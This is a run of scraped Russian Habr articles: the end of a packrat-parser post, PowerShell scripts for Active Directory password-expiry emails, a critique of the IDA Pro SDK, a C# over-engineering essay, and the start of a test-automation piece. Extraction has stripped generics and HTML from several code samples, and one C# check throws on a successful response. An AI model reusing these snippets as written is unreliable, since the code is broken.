С зацикливанием проще: если мы дважды оказались в одном состоянии, не продвинувшись по входному тексту, — значит, окажемся в нём и в третий раз, и сколько угодно. Выходит, нужно для каждой позиции во входном тексте хранить список всех состояний, в которых в этой позиции уже побывали: если второй раз приходим в то же состояние, говорим, «не, хватит, больше туда не пойду».
В качестве бесплатного бонуса получаем «линейное» время работы, если запоминать будем не просто галочку «ага, тут были», а ещё и результат прошлого разбора (развёртка подошла / не подошла); тогда самый худший вариант по времени работы — если в каждой позиции текста побываем во всех возможных состояниях. Если текст длиной *N* символов, и в ~~грамматике~~ парсящем выражении *M* правил (включая альтернативные варианты развёртки каждого нетерминала) — то получаем время работы *O*(*M*\**N*). Если хитро прищуриться и сделать вид, что *M* константа — ага, время линейное. Для сравнения, у традиционных LL- и LR-парсеров с предопределённым действием в каждом состоянии точно так же в худшем случае *O*(*M*\**N*):
```
S: | T1 S ;
T1: T2 ;
T2: T3 ;
...
TM: 't' ;
```
Здесь LR будет после каждого сдвига `'t'` выполнять *M* свёрток `'t' -> TM -> ... -> T3 -> T2 -> T1`; а LL, перед «съедением» каждого `'t'`, делает *M* развёрток `T1 -> T2 -> T3 -> ... -> TM -> 't'`.
Весь вопрос в том, насколько отличается средний случай от худшего: как минимум, «линейный слон» при любом разборе выполняет больше развёрток, чем LL на такой же грамматике.
Другой подвох в расходе памяти. Нам потребуется хранить *M*\**N* результатов прошлых развёрток — и это впридачу к тому, что входной текст придётся хранить в памяти весь целиком, потому что слону нужно без конца бегать по нему взад и вперёд. Это при том, что магазинно-автоматные парсеры к уже прочитанному тексту никогда не возвращаются, и поэтому их требования к памяти зависят только от грамматики, но не от текста.
«Историю одного байта» читали все? Тем более, что одно из самых естественных применений для новых компиляторов — поддержка всяких компактных платформ, где сэкономленная память имеет значение.
И по поводу обнаружения синтаксических ошибок. Наш слон, который на самом деле получил название packrat (*скопидом*), заключает, что в тексте ошибка, когда ни одна развёртка не подошла. Поэтому позиция, в которой ошибка будет обнаружена, может намного предшествовать месту собственно ошибки: предположим парсящее выражение
```
DECL: DECLVAR / DECLFN ;
DECLVAR: TYPE ID ';' ;
DECLFN: TYPE ID '(' ARGS ')' ;
```
— отдалённо напоминающее синтаксис объявлений в Си.
Если во входном тексте встретили последовательность, которую можно разобрать как `TYPE ID '!'`, то в какой позиции ошибка синтаксиса? Packrat проверит первую развёртку, она не подойдёт, парсер откатывается к началу `TYPE` и пробует вторую развёртку; она тоже не подходит. Получается, ошибка будет обнаружена перед `TYPE`; а что, если `TYPE` — хардкорное выражение на полстроки?
Логично в качестве позиции ошибки показывать самую правую, до которой сумела добраться хотя бы одна развёртка, — т.е. последнюю позицию, до которой у парсера ещё были надежды, что текст распарсится удачно.
Предполагаю, что есть реализации packrat, в которых локализация ошибки реализована именно так.
Всё, это был последний пост серии, в котором занимаемся синтаксическим разбором.
В следующий раз перейдём к семантике, и тогда наш игрушечный язык действительно станет языком *программирования*. | https://habr.com/ru/post/99466/ | null | ru | null |
# Предупреждение пользователей об истечении пароля и действия учётной записи
Всем привет!
Столкнулись как-то с ситуацией, когда 1 января у многих пользователей истёк срок действия учётной записи и они были заблокированы. Соответственно не смогли работать, шквал телефонных звонков, начиная с утра 1-го числа. Было принято решение заранее предупреждать пользователей об истечении пароля и действия учётной записи по почте. С копией списка предупреждённых пользователей администратору.
Скрипты реализации под катом.
Для начала надо установить [ActiveRoles Management Shell for Active Directory](http://www.quest.com/powershell/activeroles-server.aspx).
### Скрипт истечении пароля
Скрипт предупреждает об истечении пароля обычных пользователей за 7 дней, за 3 дня и в день истечения. Топ-менеджеров предупреждает за 5 дней и до истечения.
```
Add-PSSnapin Quest.ActiveRoles.ADManagement
function send-eMail($to, $PasswordAge, $Days) {
if ($PasswordAge -eq 0) {
$subject = "Действие вашего пароля истекает сегодня."
} else {
$subject = "Действие вашего пароля истекает через $PasswordAge $Days."
}
write-host $to $PasswordAge
$Enc = [Text.Encoding]::UTF8
Send-MailMessage -to $to `
-from "IT" `
-subject "Внимание! $subject" `
-body "Добрый день.
$subject
Рекомендуем изменить пароль, так как после истечения срока действия пароля Вы не сможете получить доступ к информационным ресурсам компании.
Инструкция по смене пароля находится на портале в разделе «[Инструкции](http://portal/Pages/Instructions.aspx)».
" `
-priority High `
-dno onFailure `
-smtpServer MAILSERVER `
-BodyAsHtm `
-Encoding $Enc
}
function send-eMail-log($log, $to, $subject) {
$Enc = [Text.Encoding]::UTF8
$body = "$log"
Send-MailMessage -to $to `
-from "IT" `
-subject $subject `
-body $body `
-smtpServer MAILSERVER `
-BodyAsHtm `
-Encoding $Enc
}
function get-dayCut($PasswordAge) {
$Days = "дн"
if ($PasswordAge -le 20 -and $PasswordAge -ge 5) {
$Days = "дней"
}
if ($PasswordAge -le 4 -and $PasswordAge -ge 2) {
$Days = "дня"
}
if ($PasswordAge -eq 1 -or $PasswordAge -eq 21) {
$Days = "день"
}
return $Days
}
# У нас 45 дней:
$PasswordAgeMax = (Get-QADObject (Get-QADRootDSE).defaultNamingContextDN).MaximumPasswordAge.days
write-host "Пароль истекает: "$PasswordAgeMax;
$log = ""
$logBoss = ""
# -- 7, 3 и 0 дней ---------------------------------------------------------------------------------------------
Get-QADUser -SizeLimit 0 |
Where-Object {$\_.AccountIsDisabled -eq $False} |
Where-Object {$\_.PasswordNeverExpires -eq $False} |
% {
$PasswordAge = $PasswordAgeMax - ($\_.passwordage.days) - 1
$PasswordAge = [int]$PasswordAge
if ($\_.parentContainer -ne "domain/General/User") {
if ($PasswordAge -eq 7 -or $PasswordAge -eq 3 -or $PasswordAge -eq 0) {
$Days = get-dayCut $PasswordAge
$addParam = $\_.Title + ", " + $\_.Department
if (($\_.mail).Length -gt 0) {
send-eMail $\_.mail $PasswordAge $Days
$addParam = $addParam + ", " + $\_.mail
}
if ($PasswordAge -le 1) {
$log = $log + "" + $\_.DisplayName + ", " + $PasswordAge + " (" + $addParam + ")
"
} else {
$log = $log + $\_.DisplayName + ", " + $PasswordAge + " (" + $addParam + ")
"
}
}
} else {
$Days = get-dayCut $PasswordAge;
write-host $\_.DisplayName": "$PasswordAge;
if ($PasswordAge -le 5 -and $PasswordAge -ge 0) {
send-eMail $\_.mail $PasswordAge $Days
}
if ($PasswordAge -le 0) {
$logBoss = $logBoss + $\_.DisplayName + ", пароль уже истек (" + $\_.mail + ", " + $\_.telephoneNumber + ")
"
} elseif ($PasswordAge -le 5 -and $PasswordAge -gt 0) {
$logBoss = $logBoss + $\_.DisplayName + ", пароль истекает через " + $PasswordAge + " " + $Days + " (" + $\_.mail + ", " + $\_.telephoneNumber + ")
"
}
}
}
if ($log.Length -gt 0) {
send-eMail-log $log "IT" "Журнал истечения пароля"
}
if ($logBoss.Length -gt 0) {
"admin1", "admin2", "admin3" |
% {send-eMail-log $logBoss "$\_@domain.com" "Журнал истечения пароля у директоров"}
}
```
### Скрипт истечения действия учётной записи
Скрипт предупреждает пользователей об истечении действия учётной записи за 30, 20, 14, 7, 5 дней.
```
Add-PSSnapin Quest.ActiveRoles.ADManagement
function send-eMail($to,$lsDayCount) {
write-host $to $lsDayCount;
$Enc = [Text.Encoding]::UTF8
Send-MailMessage -to $to `
-from "IT" `
-subject "Внимание! Ваша учетная запись истекает через $lsDayCount дней" `
-body "Добрый день.
Срок действия вашей учетной записи истекает через $lsDayCount дней." `
-priority High `
-dno onFailure `
-smtpServer MAILSERVER `
-BodyAsHtm `
-Encoding $Enc
}
function send-eMail-log($log, $to, $subject) {
$Enc = [Text.Encoding]::UTF8
$body = "" + $log + ""
#-Cc "admin1@domain.com" `
Send-MailMessage -to $to `
-from "it@domain.com" `
-subject $subject `
-body $body `
-smtpServer MAILSERVER `
-BodyAsHtm `
-Encoding $Enc
}
function check-null($lsPar, $lbComma) {
$lsTmp = $lsPar;
if ($lsPar.Length -gt 0) {
if ($lbComma) {
$lsTmp = $lsPar + ", ";
}
} else {
$lsTmp = "";
}
return $lsTmp;
}
# -- 5, 7, 14, 20, 30 дней -------------------------------------------------------------------------------------
$targetdate5 = ((get-date).AddDays(5)).ToShortDateString();
$targetdate7 = ((get-date).AddDays(7)).ToShortDateString();
$targetdate14 = ((get-date).AddDays(14)).ToShortDateString();
$targetdate20 = ((get-date).AddDays(20)).ToShortDateString();
$targetdate30 = ((get-date).AddDays(30)).ToShortDateString();
$gLog = "";
$gLog5 = "";
$gLog7 = "";
$gLog14 = "";
$gLog20 = "";
$gLog30 = "";
write-host $targetdate5 $targetdate7 $targetdate14 $targetdate20 $targetdate30;
Get-QADUser -SizeLimit 0 |
Where-Object {$\_.AccountExpires -ne $null} |
Where-Object {$\_.AccountIsDisabled -eq $False} |
% {
$gObjUser = $\_;
$gsUserOpt = "";
5,7,14,20,30 | % {
$targetdate = ((get-date).AddDays($\_)).ToShortDateString();
if (($gObjUser.AccountExpires).ToShortDateString() -eq $targetdate) {
write-host $gObjUser.DisplayName"`t"($gObjUser.AccountExpires).ToShortDateString();
if (($gObjUser.mail).Length -gt 0) {
send-eMail $gObjUser.mail $\_;
}
$gsUserOpt = (check-null $gObjUser.Title $TRUE) +
(check-null $gObjUser.Department $TRUE) +
(check-null $gObjUser.mail $TRUE) +
(check-null $gObjUser.telephoneNumber $FALSE);
if ($gsUserOpt.Length -gt 0) {
if ($gsUserOpt.substring($gsUserOpt.length - 2, 2) -eq ", ") {
$gsUserOpt = $gsUserOpt.substring(0, $gsUserOpt.length - 2);
}
$gsUserOpt = " (" + $gsUserOpt +")";
}
$gsUserOpt = $gObjUser.DisplayName + $gsUserOpt +"
";
switch ($\_) {
5 {$gLog5 = $gLog5 + $gsUserOpt; break}
7 {$gLog7 = $gLog7 + $gsUserOpt; break}
14 {$gLog14 = $gLog14 + $gsUserOpt; break}
20 {$gLog20 = $gLog20 + $gsUserOpt; break}
30 {$gLog30 = $gLog30 + $gsUserOpt; break}
}
}
}
}
if ($gLog5.Length -gt 0) {
$gLog = "**5 дней, истекает $targetdate5**
" + $gLog5 + "
"}
if ($gLog7.Length -gt 0) {
$gLog = $gLog + "**7 дней, истекает $targetdate7**
" + $gLog7 + "
"}
if ($gLog14.Length -gt 0) {
$gLog = $gLog + "**14 дней, истекает $targetdate14**
" + $gLog14 + "
"}
if ($gLog20.Length -gt 0) {
$gLog = $gLog + "**20 дней, истекает $targetdate20**
" + $gLog20 + "
"}
if ($gLog30.Length -gt 0) {
$gLog = $gLog + "**30 дней, истекает $targetdate30**
" + $gLog30 + "
"}
if ($gLog.Length -gt 0) {
"admin1", "admin2", "admin3" |
% {send-eMail-log $gLog "$\_@domain.com" "Журнал истечения учетной записи"}
}
```
Предупреждайте пользователей заранее. Комментарии приветствуются. | https://habr.com/ru/post/204796/ | null | ru | null |
# IDA Pro: каким не должен быть SDK
Приветствую,
Эта статья будет о том, как не нужно делать, когда разрабатываешь SDK для своего продукта. А примером, можно даже сказать, самым ярким, будет IDA Pro. Те, кто хоть раз что-то разрабатывал под неё и старался поддерживать, при чтении этих строк, наверняка, сейчас вздрогнули и покрылись холодным потом. Здесь я собрал опыт сопровождения проектов, начиная с IDA v6.5, и заканчивая последней на момент написания статьи версии — v7.5. В общем, погнали.
Краткое описание
================
SDK для IDA Pro позволяет вам разрабатывать следующие типы приложений:
* Загрузчики различных форматов
* Процессорные модули
* Плагины, расширяющие функционал (процессорных модулей, интерфейса и т.п.)
* IDC-скрипты (свой внутренний язык) и Python-скрипты (используют стороннюю разработку IDAPython, которая стала неотъемлемой частью IDA)
По информации с сайта Hex-Rays, стоимость плана поддержки SDK — 10000 USD. На практике же — если у вас есть лицензия, вам даётся код доступа к Support-зоне, в которой вы его скачиваете и работаете с ним. Стоимость же указана на тот случай, если у вас будут появляться вопросы и вы захотите задать их разработчикам: без плана поддержки вам скажут, мол, напишите это сами; с поддержкой же, как я понимаю, отказать вам не могут. К сожалению, я не знаю ни одного человека (фирмы), который купил данный план.
Немного подробнее
=================
С того момента, как у вас появляется желание написать что-то под IDA, и вы скачиваете SDK, вы ступаете на достаточно скользкую дорожку, на которой, к тому же, очень легко сойти с ума. И вот почему:
1) В современной разработке вы, скорее всего, уже привыкли к тому, что у любого более-менее серьёзного проекта есть либо doxygen-сгенерированная справка по API, либо вручную написанная хорошая справка, которая вам говорит что куда передаётся, что нужно заполнять, чтобы работало, и т.п., с кучей примеров.
В IDA практически в большинстве доступных пользователю API указаны лишь имена параметров и их типы, а что туда передавать — можно отгадывать лишь по именам аргументов. В последнее время, конечно, со справкой у IDA стало получше, но не то что бы значительно.
2) Во многих заполняемых структурах требуется задавать callback-функции, при этом некоторые указаны как необязательные, мол, не укажешь (передашь `NULL`) — и ладно. В действительности — крэши приложения при попытке запуска вашего плагина. И, т.к. колбэков много (пример — плагин-отладчик), ты начинаешь поочерёдно задавать все, которые "можно не задавать". В итоге это очень сильно утомляет, ты открываешь x64dbg/ollyDbg, в нём — idaq.exe/ida.exe, грузишь плагин, ставишь точки остановки, и пытаешься словить момент, когда управление передаётся в 0x00000000.
Эх, помню те времена, когда так много папок с проектами были забиты 200MB dmp-файлами, которые создавались при крэше IDA… Но мне они ничем не помогали.
3) Самая болезненная тема для IDA Pro — обратная совместимость. В принципе, это достаточно тяжёлая для любого разработчика задача — наперёд продумывать интерфейсы, структуры, модульность и т.п. Поэтому здесь и возникает два пути:
* Хранить обратную совместимость со всеми старыми версиями
* Не заниматься обратной совместимостью
В первом случае очень быстро накапливается legacy-код, от которого потом становится невозможно избавиться. Вычистить его редко кому удаётся. Потому как, фактически, нужно бросать все силы не на разработку нового функционала, а на выпиливание/перенос старого.
Во втором случае у нас нет проблемы обратной совместимости, но имеется другая: т.к. у нас имеется публично доступный SDK, требуется регулярно следить за тем, какие изменения происходят, и документировать их, чтобы все те, кто начал разработку под предыдущую версию, могли безболезненно перейти на новую.
Что же в случае Hex-Rays? Вы удивитесь, но они пошли двумя путями одновременно! Известно, что проект развивается с очень и очень бородатых времён, когда основной целевой платформой был лишь MS-DOS (и, следовательно, реверс-инжиниринг написанных под него приложений). Нужно было поддерживать сегментные регистры, селекторы, параграфы и другую подобную атрибутику. Шло время, в IDA начали появляться другие платформы, процессорные модули и загрузчики, где модель памяти уже была плоской (flat), но пережиток в виде перечисленных мной MS-DOS "фич" сохраняется до сих пор! Весь интерфейс IDA пронизан этим. При разработке процессорных модулей, в который только flat, вам всё равно придётся указывать сегментные регистры (правда уже виртуальные).
А вот с SDK ни о какой обратной совместимости речи идти не может вовсе. В каждой новой версии (даже внутри минорных билдов 6.x и 7.x) что-то да ломается: у колбэков появляются новые аргументы, у старых структур переименовываются и теряются поля, функции API, которые раньше делали одну задачу, теперь делают другую. И таких примеров много.
И ладно бы это всё хоть как-то сопровождалось разработчиком, мол, в этой версии поменялось то и это, теперь нужно так и так. Так нет же! Гайд есть, да: [IDA 7.0 SDK: Porting from IDA 4.9-6.x API to IDA 7.0 API](https://www.hex-rays.com/products/ida/news/7_0/docs/api70_porting_guide/), но это всё. Более того, по нему вам не удастся перевести свой проект на новую версию, т.к. он не включает очень многих, но мелких, изменений, о которых, конечно же, вам никто не сообщит. К тому же, это последний гайд для C/C++ разработчика, а с тех пор вышло ещё где-то 5-6 версий SDK.
По итогу получается, что внутри фирмы поддержка обратной совместимости есть, а для внешних пользователей, которые заплатили деньги — нет.
Реальный пример
===============
Когда-то я взял на себя смелость попытаться разработать свой первый плагин-отладчик Motorola 68000 под IDA. В поставляемом SDK был пример отладчика (который, фактически, используется в IDA Pro и сейчас в качестве локального и удалённого), но он был выполнен настолько плохо, что пытаться по нему сделать свой было невозможно. Тогда я полез в интернет и нашёл единственный плагин-отладчик — для PS3, который, что забавно, был выполнен на базе того самого кода из SDK.
Чтобы вы понимали, почему код из SDK я так и не решился использовать, вот вам скриншот участка кода, на котором я уже тогда понял, что будет несладко:
Видите cpp-файлы, которые включены через `#include`? И так по всему исходнику. Тем не менее, тщательно изучив исходный код отладчика PS3, мне удалось вычленить из него что-то рабочее и сделать свой — для Sega Mega Drive.
Была одна загвоздка: исходников процессорного модуля, так необходимого для написания отладчика, у меня не было. А нужно было обращаться к регистрам, знать, какие индексы и флаги у каких опкодов установлены, заполнять структуры, отображающие вычисляемые ссылки...
Для этого пришлось снова отлаживать IDA, процессорный модуль m68k, и делать исправления для последнего (об этом я писал в "[Модернизация IDA Pro. Исправляем косяки процессорных модулей](https://habr.com/ru/company/pt/blog/424263/)").
Несмотря на все трудности, мне удалось написать хороший отладчик! К сожалению, вышла новая версия SDK… В ней изменилась структура `debugger_t`, отвечающая за отладчик и его колбэки, и всё, что я пытался сделать, приводило к крэшам самой IDA. Спустя время я и с этим справился.
Но вышла новая версия SDK… x64, без совместимости с x86! А эмулятор Gens, на базе которого я делал отладчик, не умел в x64, и проект заглох на много лет. Когда же я нашёл эмулятор, который был способен работать в x64, вышло так много версий SDK, что снова пытаться понять, почему мой плагин не работает, я не решился.
Выводы
======
Проблемы SDK для IDA Pro в отсутствии нормальной документации об изменениях в каждой из версий; в том, что изменения выходят скопом — их много, они кардинальные, и за ними очень тяжело угнаться.
Если уж ваша фирма/команда выкладывает какой-то публичный SDK, и у него есть пользователи, которые платят деньги — будьте добры, думайте и о них тоже! Их разработки могут помочь вашему продукту стать лучше и популярнее, как это произошло с IDAPython. Понятно, что хранить обратную совместимость очень сложно, но, если уж решились не поддерживать старые версии, постарайтесь документировать все изменения, которые вы делаете.
Я видел на Github большое количество полезных проектов, которые так и остались непортированными на IDA v7.x. Можно подумать, что их функционал стал ненужным в новых версиях? Может и так, но, как по мне, это усталость и нежелание бороться с постоянно меняющимся API в совокупности с хоббийностью проекта.
IDA Pro Book
------------
Ещё хотелось бы вспомнить об одной бесценной книге, которая мне когда-то очень помогла, но которая сейчас абсолютно бесполезна для разработчика плагинов к IDA — [IDA Pro Book от Chris Eagle](https://nostarch.com/idapro2.htm). Всё описанное в ней относится к версии 6.x (ориентировочно v6.5-v6.8). С тех пор изменилось практически всё.
Спасибо. | https://habr.com/ru/post/509678/ | null | ru | null |
# Оверинжиниринг головного мозга
Попалась мне простая развлекательная задача: собрать данные о температуре воды и воздуха с пары HTML страниц и выдать результат, в JSON из API. Задача тривиальная, решается кодом строк в 40 (или около того) с комментариями. Конечно если писать руководствуясь принципом Quick & Dirty. Тогда написаный код будет с душком и не будет соответствовать современным стандартам программирования
---
Возьмём за основу простое исполнение и посмотрим, что будет, если его порефакторить ([код с коммитами](https://github.com/aspirinv/OverEngineering))
```
public async Task>
Get([FromQuery]DateTime? from = null,
[FromQuery]DateTime? to = null)
{
// Defaulting values
from ??= DateTime.Today.AddDays(-1);
to ??= DateTime.Today;
// Defining URLs
var query = $"beginn={from:dd.MM.yyyy}&ende={to:dd.MM.yyyy}";
var baseUrl = new Uri("https://BaseURL/");
using (var client = new HttpClient { BaseAddress = baseUrl })
{
// Collecting data
return Ok(new MeasurementSet
{
Temperature = await GetMeasures(query, client, "wassertemperatur"),
Level = await GetMeasures(query, client, "wasserstand"),
});
}
}
private static async Task>
GetMeasures(string query, HttpClient client, string apiName)
{
// Retrieving the data
var response = await client.GetAsync($"{apiName}/some/other/url/part/?{query}");
var html = await response.Content.ReadAsStringAsync();
// Parsing HTML response
var bodyMatch = Regex.Match(html, "(.\*)<\\/tbody>");
var rowsHtml = bodyMatch.Groups.Values.Last();
return Regex.Matches(rowsHtml.Value, "| ([^<]\*)<\\/td> ([^<]\*)<\\/td>")
// Building the results
.Select(match => new Measurement
{
Date = DateTime.Parse(match.Groups[1].Value),
Value = decimal.Parse(match.Groups[2].Value)
});
} | |
```
**1. Обработка ошибок**
Код написан без учёта возможных проблем и если что-то пойдёт не так, то понять причину будет сложно. Добавим пару более подробных исключений
```
if (response.IsSuccessStatusCode)
{
throw new Exception($"{apiName} gathering failed with. [{response.StatusCode}] {html}");
}
// Parsing HTML response
var bodyMatch = Regex.Match(html, "(.\*)<\\/tbody>");
if (!bodyMatch.Success)
{
throw new Exception($"Failed to define data table body. Content: {html}");
}
```
**2. Разделение слоёв**
Вся логика расположена в единственном классе, который несёт сразу множество функций и интерфейс, и логика, и доступ к данным. Так что его мы разделим на отдельные классы, пусть будут MeasureParser для логики и RawMeasuresCollector для доступа к данным. Код остаётся прежним, только теперь он разделён между классами, что даёт возможность работать отдельно с разными частями приложения.
**3. Принцип единственной ответственности**
При переносе кода пришлось ввести enum, чтоб абстрагировать строковые пути, конкретизирующиеся в дальнейшем:
```
var apiName = measure switch
{
MeasureType.Temperature => "wassertemperatur",
MeasureType.Level => "wasserstand",
_ => throw new NotImplementedException($"Measure type {measure} not implemented")
};
```
Так получается, что логика по составлению запроса на основании параметров совмещена с другими элементами. Выделим её в отдельный класс:
```
public class UrlQueryBuilder
{
public DateTime From { get; set; } = DateTime.Today.AddDays(-1);
public DateTime To { get; set; } = DateTime.Today;
public string Build(MeasureType measure)
{
var query = $"beginn={From:dd.MM.yyyy}&ende={To:dd.MM.yyyy}";
var apiName = measure switch
{
MeasureType.Temperature => "wassertemperatur",
MeasureType.Level => "wasserstand",
_ => throw new NotImplementedException($"Measure type {measure} not implemented")
};
return $"{apiName}/some/other/url/part/?{query}";
}
}
```
**4. Снижаем сопряжение (coupling)**
Добавим интерфейс для сборщика данных и сделаем логику зависимой от интерфейса. Эту зависимость будем инъектить, конечно же, через контейнер. Постараемся избавиться от базового URL в коде и перенести его в настройки:
```
var settings = Configuration.GetSection("AppSettings").Get();
services.AddHttpClient(Constants.ClientName, client =>
{
client.BaseAddress = new Uri(settings.BaseUrl);
});
services.AddTransient();
```
**5. Тестирование**
Слой логики было бы не плохо и протестировать. После изменения зависимости на интерфейс мы можем легко написать тест, в котором имплементация требуемого интерфейса будет всегда давать один и тот же результат и не зависеть от доступности ресурса:
```
Конечно проект гибкийКонечно проект гибкий[TestMethod]
public async Task TestHtmlTemperatureParsing()
{
var collector = new Mock();
collector
.Setup(c => c.CollectRawMeasurement(MeasureType.Temperature))
.Returns(Task.FromResult(\_temperatureDataA));
var actual = (await new MeasureParser(collector.Object)
.GetMeasures(MeasureType.Temperature)
).ToArray();
Assert.AreEqual(165, actual.Length);
Assert.AreEqual(7.1M, actual
.First(l => l.Date == DateTime.Parse("24.11.2020 10:15")).Value);
}
```
**6. Повышаем гибкость**
К сожалению, источнику данных в этом случае нет большого доверия, так как это сторонний сайт. Стоит обезопаситься от изменения DOM как всех страниц, так и страниц отдельных измерений. Для этого разделим нашу общую функцию на функции для отдельных измерений.
Итоговая функция контроллера примет вид:
```
public async Task> Get
([FromQuery] DateTime? from = null, [FromQuery] DateTime? to = null)
{
var parser = new MeasureParser(\_collectorFactory.CreateCollector(from, to));
return Ok(new MeasurementSet
{
Temperature = await parser.GetTemperature(),
Level = await parser.GetLevel(),
});
}
```
Предыдущие исправления привели к ненадобности enum с типом измерений и от кода указанного в пункте 3 пришлось избавиться, что скорее позитивно, так как уменьшает степень ветвления кода и помогает избежать ошибок.
Итог
----
В результате одностраничный метод вырос в приличный проект
Конечно проект гибкий, поддерживаемый и т. д., и т. п. Но есть ощущение, что великоват. Согласно VS аналитике из 277 строк кода только 67 исполняемых.
Возможно, пример не является корректным, так как функциональность не столь широка, или рефакторинг проведён неверно, не до конца.
Поделитесь своим опытом. | https://habr.com/ru/post/533556/ | null | ru | null |
# Автоматизация тестирования способна на многое
Начну с того, что не стану открывать для кого-то «Америку», а хочу поделиться собственным опытом и лайфхаками для тех, кто желает что-то изменить в своей работе, но так еще и не определился с подходом к тестированию и/или технологиями.
Отдел QA, как правило, нагружен постоянно: «контроль качества» в разных формах нужен it-подразделениям на протяжении всего этапа разработки программного продукта, от получения требований до финального релиза. Работы очень много, без ее автоматизации трудно обойтись.
Знаете, за что я люблю работу в QA? Мы – «универсальные солдаты», которые задействованы во всех аспектах работы над проектом, а поэтому нам нужна широчайшая квалификация в разных вопросах. Это чертовски круто, но очень непросто!
Большинство воспринимают QA-отдел как последний фронтир, отделяющий процессы разработки от точки «в продакшн», но это не совсем так. Наше участие необходимо на протяжении всей работы над проектом, причем всем отделам компании. Наши «внутренние заказчики»: разработчики, DevOps- и дата-инженеры, аналитики, специалисты по ML (machine learning) & CV (computer vision).
Что нужно для стабильной работы отделам? Запросы бывают самые разные. Команда аналитиков должна быть уверена, что данные «витрин», из которых в последствии строятся аналитические отчеты, достаточно точны. Дата-инженеры ожидают, что механизмы загрузки данных работают корректно, для этого механизмы должны быть протестированы. Разработчики хотят, чтобы все баги были обнаружены на ранних стадиях. Специалисты по ML и CV рассчитывают получить для построения моделей обучения данные эталонного качества. DevOps -инженерам нужна функциональность системно проверенная, чтобы в последствии не делать одну и ту же работу многократно, выполняя «откаты» неработающих модулей…
Специалист в направлении автоматизации должен обладать широким кругозором знаний в области разработки, при написании корректных автоматизированных проверок, администрировании — при самостоятельной настройке тестового окружения, аналитики — при написании планов тестирования. Набор необходимых знаний и умений постоянно расширяется! Например, недавно нам стали обязательно нужны навыки, характерные для специалиста по «большим данным» – возникают задачи контроля качества данных – и знание AI-инструментов, без которых с BigData не справишься.
Как видите работы у QA-отдела всегда очень много! Поэтому нам нужны инструменты, чтобы автоматизировать все, что только можно автоматизировать. Как это выглядит на практике, сейчас и поговорим на одном из примеров.
**«Семь дюжин зайцев не заменят лошадь»!**
Сформировать команду тестирования можно несколькими способами:
* Нанять большое количество «мануальных» специалистов, чтобы они вручную проводили тестирование, тем самым обеспечивая QA.
* Нанять компактную команду автоматизаторов, которая создаст для проекта необходимый набор автоматизированных тестов. Разнообразные виды тестов будут выполняться машинами, заказанное количество проверок будет выполнено, по итогам нужные отчеты оформлены – и все это с минимальным участием человека.
На мой взгляд, допустимы оба способа. Благодаря первому можно сразу получить прирост в качестве продукта, однако процесс реализации QA, у развивающегося продукта, с каждым днем становится все сложнее и занимает больше времени: все больше появляется задач, для решения которых нужен прогон тест-кейсов в течение нескольких часов или даже дней. Сложность процессов растет лавинообразно, некоторые виды тестирования выполнять «руками» оказывается или нецелесообразно, или практически не предоставляется возможным. Поэтому, как вы уже догадались, был выбран второй способ.
Итак, мы приходим к необходимости уметь автоматизировать тестирование. Как обычно бывает, при автоматизации нужно некоторое время на создание алгоритмов и их реализацию «в коде», но – «лучше день потерять, а потом за пять минут долететь», как было сказано в известном фильме. Правильный код всегда работает быстрее «мануальных» проверок, при этом не устает, не спит и не теряет фокус внимания, поэтому качество контроля остается на высоком уровне.
Что нужно для быстрого создания кода? Умение писать автономные фреймворки. Тут нужен хороший инструментарий, достаточно гибкий, знакомый и при этом универсальный по отношению к технологиям разрабатываемого продукта, а технологий может быть много, ох как много!
**Что «под капотом» у фреймворка?**
Теоретически «фреймворк» – программная платформа, на которой можно построить единый инструмент. В нашем случае это инструмент, способный тестировать различные виды систем управления баз данных, способный на функциональное, интеграционное и пользовательское тестирование, умеющий создавать нагрузки для приложений и, разумеется, умеющий строить отчеты по завершении процессов проверки (куда же без отчетов сегодня!).
Современный фреймворк должен состоять из набора элементов, включающего в себя как универсальные, так и специализированные инструменты. Поэтому наш фреймворк состоит из следующих технологий.
Python – язык программирования общего назначения, на котором можно реализовать любые задачи тестирования. Язык очень гибкий, хорошо интегрируемый, для нас также важно, что к нему есть много разных прикладных библиотек и его знают много разработчиков. Это почти как эсперанто, только Python.
Pytest – специализированная среда тестирования, основанная все на том же Python, которую применяют для написания и выполнения тестовых скриптов. Мы используем Pytest в качестве системы для запуска тестов, генерации тестовых коллекций, проверки входных и выходных данных, диагностики тестов и построения отчетов о тестировании. Pytest мы выбрали исходя из преимуществ, важных для наших задач, этот инструмент позволяет запускать параллельные тесты, имеет средства гибкого управления подмножеством тестов непосредственно во время их работы, получил мощный набор декораторов для реализации логики формирования тестовых систем и т.д. При этом синтаксис прост, а инструмент полностью бесплатен.
SQL – по понятной причине выбран в качестве языка для взаимодействия с реляционными базами данных.
Selenium webdriver – инструмент для автоматизации действий браузера, который используем по прямому назначению.
Bash – специализированный командный интерпретатор, на котором пишем сценарии для конвейера сборки, тестирования и разворачивания программного продукта на тестовом контуре.
GitLab – инструмент для CI/CD-процессов и управления репозиториями кода для Git.
Jmeter – отличный инструмент для реализации нагрузочного тестирования, который мы использовали некоторое время. Но мы заменили его собственной самописной библиотекой на основе requests и multiprocessing.
**«Лучше один раз увидеть…»**
Рассмотрим несколько небольших примеров. В них будут некоторые базовые, но вполне рабочие компоненты автоматизированного тестирования, которые так или иначе участвуют в текущем процессе проверок.
Пример использования нативного коннектора к СУБД ClickHouse при помощи Python:
```
from clickhouse_driver.client import Client
def clickhouse_connection():
client = Client(
host=os.environ['DB_HOST'],
user=os.environ['DB_USERNAME'],
password=os.environ['DB_PASSWORD'],
database=os.environ['DB_NAME']
)
return client
```
Теперь данную функцию можно использовать для взаимодействия с базой, отправляя в нее скрипт проверки.
Скрипт SQL проверки:
```
SELECT greater(
(SELECT toInt32(count(*)) as yesterday_count
FROM test_table
WHERE toDate(date) = toDate(now()) - 1),
(SELECT toInt32(avg(counter)) as avg_count
FROM
(SELECT toDate(date) as date_add, count(*) as counter
FROM test_table
WHERE date_add < toDate(now()) - 1
GROUP BY toDate(date)
)))
```
Функция GREATER в данном случае вернет 0 (при неудаче) или 1 (при успехе), а в зависимости от результата далее можно производить нужное действие.
Пример функционального тестирования и тестирования UI при помощи Selenium:
```
class UiElements:
url = 'test'
def get_webdriver(self):
options = webdriver.FirefoxOptions()
options.headless = True
driver = webdriver.Firefox(
executable_path=os.environ['GECKO_PATH'],
options=options
)
return driver
def admin_login(self):
try:
driver = self.get_webdriver()
driver.get(self.url)
username = driver.find_element_by_id('id_username')
password = driver.find_element_by_id('id_password')
username.send_keys('test_name')
password.send_keys('test_password')
driver.find_element_by_xpath('//input[@type="submit" and @value="Log in"]').click()
return driver
except Exception as err:
raise err
class TestUI(UiElements):
test_url = UiElements.url
